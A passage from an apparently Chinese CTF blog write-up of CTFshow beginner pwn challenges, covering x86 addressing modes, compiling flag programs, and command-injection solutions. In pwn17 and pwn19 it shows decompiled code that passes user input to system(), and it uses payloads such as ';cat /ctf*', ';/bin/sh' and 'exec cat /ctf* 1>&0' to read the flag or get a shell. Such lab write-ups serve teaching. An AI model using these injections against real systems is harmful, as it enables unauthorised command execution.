直接寻址方式</span><br><span class="line">mov ecx, [msg] ; 将msg的地址赋值给ecx</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:08048094                 mov     ecx, dword_80490E8</span><br></pre></td></tr></table></figure><p>双击dword_80490E8</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.data:080490E8 dword_80490E8   dd 636C6557h            ; DATA XREF: LOAD:0804805C↑o</span><br></pre></td></tr></table></figure><p>故flag:ctfshow{0x80490E8}</p><h2 id="pwn9"><a href="#pwn9" class="headerlink" title="pwn9"></a>pwn9</h2><p>Hint：寄存器间接寻址方式结束后eax寄存器的值为？</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">; 寄存器间接寻址方式</span><br><span class="line">mov esi, msg ; 将msg的地址赋值给esi</span><br><span class="line">mov eax, [esi] ; 将esi所指向的地址的值赋值给eax</span><br></pre></td></tr></table></figure><p>对应IDA:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:0804809A                 mov     esi, offset dword_80490E8</span><br><span class="line">.text:0804809F                 mov     eax, [esi]</span><br></pre></td></tr></table></figure><p>双击dword_80490E8</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.data:080490E8 dword_80490E8   dd 636C6557h            ; DATA XREF: LOAD:0804805C↑o</span><br></pre></td></tr></table></figure><p>这里是将指向地址 的值赋值给eax</p><p>flag:ctfshow{0x636C6557}</p><p><code>Tip:</code>字符串 <code>Welcome_to_CTFshow_PWN</code> 的 ASCII 转十六进制，前几个字节是 <code>57 65 6C 63</code>（对应 <code>W e l c</code> ）， <code>636C6557</code> 可能是字节序反转后的结果（小端存储下，<code>0x57656C63</code> 会存为 <code>63 6C 65 57</code> ）</p><h2 id="pwn10"><a href="#pwn10" class="headerlink" title="pwn10"></a>pwn10</h2><p>Hint：寄存器相对寻址方式结束后eax寄存器的值为？</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">; 寄存器相对寻址方式</span><br><span class="line">mov ecx, msg ; 将msg的地址赋值给ecx</span><br><span class="line">add ecx, 4 ; 将ecx加上4</span><br><span class="line">mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax</span><br></pre></td></tr></table></figure><p>对应IDA:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:080480A1                 mov     ecx, offset dword_80490E8</span><br><span class="line">.text:080480A6                 add     ecx, 4</span><br><span class="line">.text:080480A9                 mov     eax, [ecx]</span><br></pre></td></tr></table></figure><p>双击dword_80490E8</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.data:080490E8 dword_80490E8   dd 636C6557h            ; DATA XREF: LOAD:0804805C↑o</span><br><span class="line">.data:080490E8                                         ; start+14↑r ...</span><br><span class="line">.data:080490EC aOmeToCtfshowPw db &#x27;ome_to_CTFshow_PWN&#x27;,0</span><br></pre></td></tr></table></figure><p>这里将msg的地址（0x80490E8）+ 4 处所执向的地址的值赋给eax</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">$ python3</span><br><span class="line">Python <span class="number">3.12</span><span class="number">.3</span> (main, Feb  <span class="number">4</span> <span class="number">2025</span>, <span class="number">14</span>:<span class="number">48</span>:<span class="number">35</span>) [GCC <span class="number">13.3</span><span class="number">.0</span>] on linux</span><br><span class="line"><span class="type">Type</span> <span class="string">&quot;help&quot;</span>, <span class="string">&quot;copyright&quot;</span>, <span class="string">&quot;credits&quot;</span> <span class="keyword">or</span> <span class="string">&quot;license&quot;</span> <span class="keyword">for</span> more information.</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">hex</span>(<span class="number">0x80490E8</span>+ <span class="number">4</span>)</span><br><span class="line"><span class="string">&#x27;0x80490ec&#x27;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>也就是“ome_to_CTFshow_PWN”</p><p>故flag:ctfshow{ome_to_CTFshow_PWN}</p><h2 id="pwn11"><a href="#pwn11" class="headerlink" title="pwn11"></a>pwn11</h2><p>Hint：寄存器相对寻址方式结束后eax寄存器的值为？</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">; 基址变址寻址方式</span><br><span class="line">mov ecx, msg ; 将msg的地址赋值给ecx</span><br><span class="line">mov edx, 2 ; 将2赋值给edx</span><br><span class="line">mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax</span><br></pre></td></tr></table></figure><p>对应IDA:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:080480AB                 mov     ecx, offset dword_80490E8</span><br><span class="line">.text:080480B0                 mov     edx, 2</span><br><span class="line">.text:080480B5                 mov     eax, [ecx+edx*2]</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.data:080490E8 dword_80490E8   dd 636C6557h            ; DATA XREF: LOAD:0804805C↑o</span><br><span class="line">.data:080490E8                                         ; start+14↑r ...</span><br><span class="line">.data:080490EC aOmeToCtfshowPw db &#x27;ome_to_CTFshow_PWN&#x27;,0</span><br></pre></td></tr></table></figure><p>计算最终也是 [0x80490E8 + 2*2 ] &#x3D; [0X80490EC]</p><p>故flag:ctfshow{ome_to_CTFshow_PWN}</p><h2 id="pwn12"><a href="#pwn12" class="headerlink" title="pwn12"></a>pwn12</h2><p>Hint：相对基址变址寻址方式结束后eax寄存器的值为？</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">; 相对基址变址寻址方式</span><br><span class="line">mov ecx, msg ; 将msg的地址赋值给ecx</span><br><span class="line">mov edx, 1 ; 将1赋值给edx</span><br><span class="line">add ecx, 8 ; 将ecx加上8</span><br><span class="line">mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax</span><br></pre></td></tr></table></figure><p>对应IDA:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:080480B8                 mov     ecx, offset dword_80490E8</span><br><span class="line">.text:080480BD                 mov     edx, 1</span><br><span class="line">.text:080480C2                 add     ecx, 8</span><br><span class="line">.text:080480C5                 mov     eax, [ecx+edx*2-6]</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.data:080490E8 dword_80490E8   dd 636C6557h            ; DATA XREF: LOAD:0804805C↑o</span><br><span class="line">.data:080490E8                                         ; start+14↑r ...</span><br><span class="line">.data:080490EC aOmeToCtfshowPw db &#x27;ome_to_CTFshow_PWN&#x27;,0</span><br></pre></td></tr></table></figure><p>同理：[8 + 0x80490E8 + 1*2 - 6] &#x3D; [0x80490EC]</p><p>故flag:ctfshow{ome_to_CTFshow_PWN}</p><h2 id="pwn13"><a href="#pwn13" class="headerlink" title="pwn13"></a>pwn13</h2><p>Hint：如何使用GCC？编译运行后即可获得flag</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">cat</span> flag.c</span><br><span class="line"><span class="comment">#include &lt;stdio.h&gt;</span></span><br><span class="line">int <span class="function"><span class="title">main</span></span>() &#123;</span><br><span class="line">    char flag[] = &#123;99, 116, 102, 115, 104, 111, 119, 123, 104, 79, 119, 95, 116, 48, 95, 117, 115, 51, 95, 71, 67, 67, 63, 125, 0&#125;;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%s&quot;</span>, flag);</span><br><span class="line">    <span class="built_in">return</span> 0;</span><br><span class="line">&#125;</span><br><span class="line">$ gcc flag.c -o flag</span><br><span class="line">$ ./flag</span><br><span class="line">ctfshow&#123;hOw_t0_us3_GCC?&#125;</span><br></pre></td></tr></table></figure><p>这段代码是一个简单的 C 程序，它使用字符数组 flag 存储了一个加密的字符串，并通过 printf函数将其打印出来。</p><p>在这段代码中， flag 数组存储了一串整数值，这些整数值代表了字符的 ASCII 码。通过将这些整数值转换为相应的字符，就可以还原出原始的字符串。</p><p>运行该程序， printf 函数使用 %s 格式字符串将 flag 数组作为参数进行打印。由于 flag 数组的最后一个元素为零（NULL 字符）， printf 函数会将其之前的字符依次打印，直到遇到 NULL 字符为止。</p><p>根据给定的整数值数组，还原出的字符串为： ctfshow{hOw_t0_us3_GCC?}</p><p><code>Tip:gcc [选项] 源文件 -o 输出文件</code></p><h2 id="pwn14"><a href="#pwn14" class="headerlink" title="pwn14"></a>pwn14</h2><p>Hint：请你阅读以下源码，给定key为”CTFshow”，编译运行即可获得flag</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">echo</span> <span class="string">&quot;CTFshow&quot;</span>&gt;key</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">flag.c  key</span><br><span class="line">$ gcc flag.c -o flag</span><br><span class="line">n$ ./flag</span><br><span class="line">ctfshow&#123;01000011_01010100_01000110_01110011_01101000_01101111_01110111_00001010&#125;</span><br></pre></td></tr></table></figure><h6 id="分析过程"><a href="#分析过程" class="headerlink" title="分析过程"></a>分析过程</h6><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">cat</span> flag.c</span><br><span class="line"><span class="comment">#include &lt;stdio.h&gt;</span></span><br><span class="line"><span class="comment">#include &lt;stdlib.h&gt;</span></span><br><span class="line"><span class="comment">#define BUFFER_SIZE 1024</span></span><br><span class="line">int <span class="function"><span class="title">main</span></span>() &#123;</span><br><span class="line">    FILE *fp;</span><br><span class="line">    unsigned char buffer[BUFFER_SIZE];</span><br><span class="line">    size_t n;</span><br><span class="line">    fp = fopen(<span class="string">&quot;key&quot;</span>, <span class="string">&quot;rb&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (fp == NULL) &#123;</span><br><span class="line">        perror(<span class="string">&quot;Nothing here!&quot;</span>);</span><br><span class="line">        <span class="built_in">return</span> -1;</span><br><span class="line">    &#125;</span><br><span class="line">    char output[BUFFER_SIZE * 9 + 12];</span><br><span class="line">    int offset = 0;</span><br><span class="line">    offset += sprintf(output + offset, <span class="string">&quot;ctfshow&#123;&quot;</span>);</span><br><span class="line">    <span class="keyword">while</span> ((n = fread(buffer, sizeof(unsigned char), BUFFER_SIZE, fp)) &gt; 0) &#123;</span><br><span class="line">        <span class="keyword">for</span> (size_t i = 0; i &lt; n; i++) &#123;</span><br><span class="line">            <span class="keyword">for</span> (int j = 7; j &gt;= 0; j--) &#123;</span><br><span class="line">                offset += sprintf(output + offset, <span class="string">&quot;%d&quot;</span>, (buffer[i] &gt;&gt; j) &amp; 1);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (i != n - 1) &#123;</span><br><span class="line">                offset += sprintf(output + offset, <span class="string">&quot;_&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!feof(fp)) &#123;</span><br><span class="line">            offset += sprintf(output + offset, <span class="string">&quot; &quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    offset += sprintf(output + offset, <span class="string">&quot;&#125;&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%s\n&quot;</span>, output);</span><br><span class="line">    fclose(fp);</span><br><span class="line">    <span class="built_in">return</span> 0;</span><br></pre></td></tr></table></figure><p>程序打开名为 “key” 的文件，以二进制（”rb”）模式进行读取。如果文件打开失败，将输出错误消息 “Nothing here!” 并返回 -1</p><p>然后，程序定义了一个缓冲区 buffer 用于读取文件内容，以及一个字符串数组 output 用于存储转换后的二进制字符串。变量 offset 用于跟踪 output 数组中的偏移量。</p><p>接下来，程序开始将输出字符串初始化为 “ctfshow{“，然后进入一个循环，每次读取</p><p>BUFFER_SIZE 字节的数据到 buffer 中，并将其转换为二进制字符串形式。</p><p>在内层循环中，程序遍历当前读取的字节的每一位，从最高位到最低位。通过右移操作和位与运算，提取出每一位的值，并使用 sprintf 函数将其添加到 output 字符串中。</p><p>在每个字节的二进制表示结束后，如果当前字节不是最后一个字节，则在 output 字符串中添加下划线作为分隔符。</p><p>如果文件还未读取完毕（即文件结束符未被读取），则在 output 字符串中添加空格作为分隔符。</p><p>循环结束后，程序在 output 字符串中添加 “}”，表示结束标记，并使用 printf 函数将最终的转换结果打印出来。</p><p>最后，程序关闭文件，并返回 0 表示成功执行。</p><p>该程序的作用是将二进制文件中的内容转换为二进制字符串形式，并以特定格式输出</p><h2 id="pwn15"><a href="#pwn15" class="headerlink" title="pwn15"></a>pwn15</h2><p>Hint：编译汇编代码到可执行文件，即可拿到flag</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ nasm -f elf flag.asm -o flag.o</span><br><span class="line">$ ld -m elf_i386 -o flag flag.o</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">flag  flag.asm  flag.o</span><br><span class="line">$ ./flag</span><br><span class="line">ctfshow&#123;@ss3mb1y_1s_3@sy&#125;</span><br></pre></td></tr></table></figure><h6 id="分析过程-1"><a href="#分析过程-1" class="headerlink" title="分析过程"></a>分析过程</h6><p>这段代码是一个使用 x86 汇编语言编写的程序，用于在标准输出上打印一串特定格式的字符串。</p><p>要将这段代码编译为可执行文件，使用汇编器和链接器进行以下步骤：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ nasm -f elf flag.asm -o flag.o <span class="comment">#将汇编代码编译为目标文件</span></span><br><span class="line">$ ld -m elf_i386 -o flag flag.o <span class="comment">#将目标文件链接为可执行文件</span></span><br><span class="line">$ ./flag  <span class="comment">#运行此文件，执行后，它会在标准输出上打印出flag</span></span><br></pre></td></tr></table></figure><p><code>Tip:</code>原文件是Intel语法（NASM风格）,如果你是GAS汇编器，执行如下命令：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">#原文件上添加</span><br><span class="line">.intel_syntax noprefix  # 声明使用 Intel 语法，且寄存器无需 % 前缀</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ as --32 -o output.o input.asm  <span class="comment"># 32 位汇编（根据需要调整架构）</span></span><br><span class="line">$ ld -m elf_i386 -o output output.o  <span class="comment"># 32 位链接</span></span><br></pre></td></tr></table></figure><h2 id="pwn16"><a href="#pwn16" class="headerlink" title="pwn16"></a>pwn16</h2><p>Hint：使用gcc将其编译为可执行文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ gcc flag.s -o flag</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">flag  flag.s</span><br><span class="line">$ ./flag</span><br><span class="line">ctfshow&#123;daniuniuda&#125;</span><br></pre></td></tr></table></figure><h6 id="分析过程-2"><a href="#分析过程-2" class="headerlink" title="分析过程:"></a>分析过程:</h6><p>.s 文件是汇编语言源文件的一种常见扩展名。它包含了使用汇编语言编写的程序代码。汇编语言是一种低级编程语言，用于直接操作计算机的指令集架构。 .s 文件通常由汇编器（Assembler）处理，将其转换为可执行文件或目标文件。</p><p>可以使用 gcc 命令直接编译汇编语言源文件（ .s 文件）并将其链接为可执行文件。 gcc 命令具有适用于多种语言的编译器驱动程序功能，它可以根据输入文件的扩展名自动选择适当的编译器和链接器。</p><h2 id="pwn17"><a href="#pwn17" class="headerlink" title="pwn17"></a>pwn17</h2><p>Hint：有些命令好像有点不一样？</p><p>​        不要一直等，可能那样永远也等不到flag</p><p><code>题目考查点为Linux基础命令的拼接</code></p><p>在Linux命令中，分号（ ; ）用于分隔多个命令，允许在一行上顺序执行多个命令。</p><p>当使用分号（ ; ）将命令连接在一起时，它们按照从左到右的顺序逐个执行，无论前面的命令是否成功。这意味着无论前一个命令是否成功执行，后续的命令都将被执行。</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">例如，考虑以下命令：</span><br><span class="line">command1 ; command2 ; command3 </span><br><span class="line">在这个例子中，command1 执行完毕后，无论成功与否，接着会执行 command2，然后再执行command3 。这样，多个命令可以按顺序在一行上执行。</span><br></pre></td></tr></table></figure><p>或者也可以使用 &amp; 将两条命令拼接在一起可以实现并行执行，即这两条命令将同时在后台执行。命令之间使用 &amp; 进行分隔。</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">示例：</span><br><span class="line">command1 &amp; command2 </span><br><span class="line">1command1 和 command2 是两个要执行的命令。通过使用 &amp; 将它们连接起来，它们将同时在后台执行。这种方式下命令的输出可能会相互混合，具体的输出顺序取决于命令的执行速度和系统资源。</span><br></pre></td></tr></table></figure><p>回到题目：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">远程</span><br><span class="line">$ nc IP port</span><br><span class="line">2</span><br><span class="line">;<span class="built_in">cat</span> /ctf*</span><br></pre></td></tr></table></figure><h6 id="分析过程："><a href="#分析过程：" class="headerlink" title="分析过程："></a>分析过程：</h6><p>先checksec</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Full RELRO</span><br><span class="line">  Stack:      Canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        PIE enabled</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>64位保护全开</p><p>IDA查看main函数，找到关键部分：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    menu();</span><br><span class="line">    v4 = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\nEnter the command you want choose:(1.2.3.4 or 5)\n&quot;</span>);</span><br><span class="line">    __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v4);</span><br><span class="line">    <span class="keyword">switch</span> ( v4 )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">        system(<span class="string">&quot;id&quot;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Which directory?(&#x27;/&#x27;,&#x27;./&#x27; or the directiry you want?)&quot;</span>);</span><br><span class="line">        read(<span class="number">0</span>, buf, <span class="number">0xAu</span>);</span><br><span class="line">        <span class="built_in">strcat</span>(dest, buf);</span><br><span class="line">        system(dest);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Execution succeeded!&quot;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">        sleep(<span class="number">1u</span>);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;$cat /ctfshow_flag&quot;</span>);</span><br><span class="line">        sleep(<span class="number">1u</span>);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;ctfshow&#123;&quot;</span>);</span><br><span class="line">        sleep(<span class="number">2u</span>);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;... ...&quot;</span>);</span><br><span class="line">        sleep(<span class="number">3u</span>);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Your flag is ...&quot;</span>);</span><br><span class="line">        sleep(<span class="number">5u</span>);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;ctfshow&#123;flag is not here!&#125;&quot;</span>);</span><br><span class="line">        sleep(<span class="number">0x14u</span>);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;wtf?You haven&#x27;t left yet?\nOk~ give you flag:\nflag is loading......&quot;</span>);</span><br><span class="line">        sleep(<span class="number">0x1BF52u</span>);</span><br><span class="line">        system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line">        sleep(<span class="number">2u</span>);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;su: Authentication failure&quot;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">5</span>:</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;See you!&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">      <span class="keyword">default</span>:</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;command not found!&quot;</span>);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>这段代码是一个无限循环的菜单程序，根据用户输入的选项执行相应的操作。具体逻辑如下：</p><ol><li><p>显示菜单选项。</p></li><li><p>提示用户输入要选择的命令（1、2、3、4或5）。</p></li><li><p>根据用户的选择执行相应的操作。</p><ul><li><p>如果选择为1，则执行系统命令 “id” 并输出结果。</p></li><li><p>如果选择为2，则要求用户输入目录，并将输入的目录添加到一个字符串中，然后执行该字符串作为系统命令。</p></li><li><p>如果选择为3，则以一定时间间隔逐行输出一段文字，最后执行系统命令 “cat &#x2F;ctfshow_flag” 并输出结果。</p></li><li><p>如果选择为4，则显示 “su: Authentication failure”。</p></li><li><p>如果选择为5，则显示 “See you!”，然后退出程序。</p></li><li><p>如果选择为其他值，则显示 “command not found!”。</p></li></ul></li><li><p>根据执行的结果，将相应的提示信息赋值给变量 v4。</p></li><li><p>根据执行的结果，输出相应的提示信息。</p></li></ol><p>可以看到在选项3最后会执行system(“cat &#x2F;ctfshow_flag”);命令，虽然最终能达到我们想要的效果，但是它sleep了很久很久，本地等的话没什么问题，但是远程环境并没有这么久，因此这条直接pass，其他1&#x2F;4&#x2F;5选项都没有实质性作用，但是2那里会有问题，我们可以进行拼接，限制了10字节</p><p>但是我们完全够用，可以构造出 “;cat &#x2F;ctf*” “;&#x2F;bin&#x2F;sh”等</p><p>直接拿取一个shell或者直接读出flag</p><p>在Linux中，通配符 * 表示匹配任意长度（包括零长度）的任意字符序列。</p><p>所以cat &#x2F;ctf*能够读到flag</p><h2 id="pwn18"><a href="#pwn18" class="headerlink" title="pwn18"></a>pwn18</h2><p>Hint：仔细看看源码，或许有惊喜</p><p>​    假作真时真亦假，真作假时假亦真</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">远程</span><br><span class="line">$ nc IP port</span><br><span class="line">9</span><br></pre></td></tr></table></figure><h6 id="分析过程：-1"><a href="#分析过程：-1" class="headerlink" title="分析过程："></a>分析过程：</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Full RELRO</span><br><span class="line">  Stack:      Canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        PIE enabled</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>64位保护全开</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> main&#123;</span><br><span class="line">    ...</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;Which is the real flag?&quot;</span>);</span><br><span class="line">__isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;n9);</span><br><span class="line"><span class="keyword">if</span> ( n9 == <span class="number">9</span> )</span><br><span class="line">  fake();</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">  real();</span><br><span class="line">system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol><li>打印提示消息：”Which is the real flag?”</li><li>使用 scanf 函数接收用户的输入，并将其保存在变量 v4 中。</li><li>如果用户输入的值等于 9，则调用 fake() 函数。</li><li>如果用户输入的值不等于 9，则调用 real() 函数。</li><li>无论用户输入的值是什么，都会执行 system(“cat &#x2F;ctfshow_flag”) 命令，将&#x2F;ctfshow_flag 文件的内容打印出来。</li></ol><p>分别跟进fake()和real():</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">fake</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;echo &#x27;flag is here&#x27;&gt;&gt;/ctfshow_flag&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">real</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;echo &#x27;flag is here&#x27;&gt;/ctfshow_flag&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol><li><p>system(“echo ‘flag is here’&gt;&gt;&#x2F;ctfshow_flag”);</p><p>这个命令将字符串 ‘flag is here’ 追加写入 &#x2F;ctfshow_flag 文件中。 &gt;&gt; 符号表示以追加的方式写入文件，如果文件不存在则创建新文件。如果 &#x2F;ctfshow_flag 文件已经存在，那么该命令会在文件的末尾添加 ‘flag is here’ 。</p></li><li><p>system(“echo ‘flag is here’&gt;&#x2F;ctfshow_flag”);</p><p>这个命令将字符串 ‘flag is here’ 覆盖写入 &#x2F;ctfshow_flag 文件中。 &gt; 符号表示以覆盖的方式写入文件，如果文件不存在则创建新文件。如果 &#x2F;ctfshow_flag 文件已经存在，那么该命令会将文件中原有的内容替换为 ‘flag is here’ 。</p></li></ol><p>这两个命令都用于将 ‘flag is here’ 写入 &#x2F;ctfshow_flag 文件中，不同之处在于写入方式的不同。第一个命令使用追加方式，在文件末尾添加内容；第二个命令使用覆盖方式，将文件内容替换为新内容。具体使用哪个命令取决于需求和文件操作的预期结果。也就是所假的其实是我们需要的真的，真的反而是假的</p><p>在远程环境中，我们需要在第一次读到flag，否则后续得到的flag都已经被覆写再追加，真实的flag内容已经没了。</p><h2 id="pwn19"><a href="#pwn19" class="headerlink" title="pwn19"></a>pwn19</h2><p>Hint：关闭了输出流，一定是最安全的吗？</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Turn off output, how to get flag?</span><br><span class="line">    * *************************************</span><br><span class="line">give you a shell! now you need to get flag!</span><br><span class="line"><span class="built_in">exec</span> <span class="built_in">cat</span> /ctf* 1&gt;&amp;0</span><br><span class="line"></span><br></pre></td></tr></table></figure><h6 id="分析过程：-2"><a href="#分析过程：-2" class="headerlink" title="分析过程："></a>分析过程：</h6><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位保护全开</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> ( fork() )</span><br><span class="line">  &#123;</span><br><span class="line">    wait(<span class="number">0</span>);</span><br><span class="line">    sleep(<span class="number">3u</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;flag is not here!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;give you a shell! now you need to get flag!&quot;</span>);</span><br><span class="line">    fclose(_bss_start);</span><br><span class="line">    read(<span class="number">0</span>, buf, <span class="number">0x20u</span>);</span><br><span class="line">    system(buf);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br></pre></td></tr></table></figure><ol><li>if (fork()) : 这里使用 fork() 函数创建一个子进程。父进程中， fork() 返回子进程的进程ID，所以进入 if 语句块；子进程中， fork() 返回0，所以进入 else 语句块。</li></ol><p>在父进程中： 2.wait(0LL) : 父进程通过 wait() 函数等待子进程的结束，以确保子进程执行完</p><p>毕。</p><ol><li>sleep(3u) : 父进程睡眠3秒钟。</li><li>printf(“flag is not here!”) : 输出提示信息，表明flag不在此处。</li></ol><p>在子进程中： 2.puts(“give you a shell! now you need to get flag!”) : 输出提示信息，</p><p>表示给予用户一个shell，让其获取flag。</p><ol><li>fclose() : 关闭文件输出流。</li><li>read(0, &amp;buf, 0x20uLL) : 从标准输入中读取用户输入的命令，并存储在 buf 中。</li><li>system(&amp;buf) : 执行用户输入的命令。</li></ol><p>我们可以使用了<code>exec 函数来执行 sh 命令</code>，并使用<code>1&gt;&amp;0 来进行输出重定向</code>。这个命令将标准输出重定向到标准输入，实际上就是<code>将命令的输出发送到后续命令的输入</code></p><p>具体来说， <code>1&gt;&amp;0 中的 1 表示标准输出， 0 表示标准输入</code>。通过将标准输出重定向到标准输入，可以实现将命令的输出作为后续命令的输入。这样可以在执行 sh 命令后，进入一个交互式的Shell环境，可以在该环境中执行命令并与用户进行交互。</p><p>也可以直接<code>exec cat /ctf* 1&gt;&amp;0 将 cat /ctf* 命令的输出发送到标准输入</code>，实际上就是<code>将命令的输出再次输出到屏幕上</code>。</p><p>这里限制了20个字节，反弹shell的话理论上也可行，感兴趣的可以自行去尝试。</p><h2 id="pwn20"><a href="#pwn20" class="headerlink" title="pwn20"></a>pwn20</h2><figure class="highlight text"><table><tr><td class="code"><pre><span 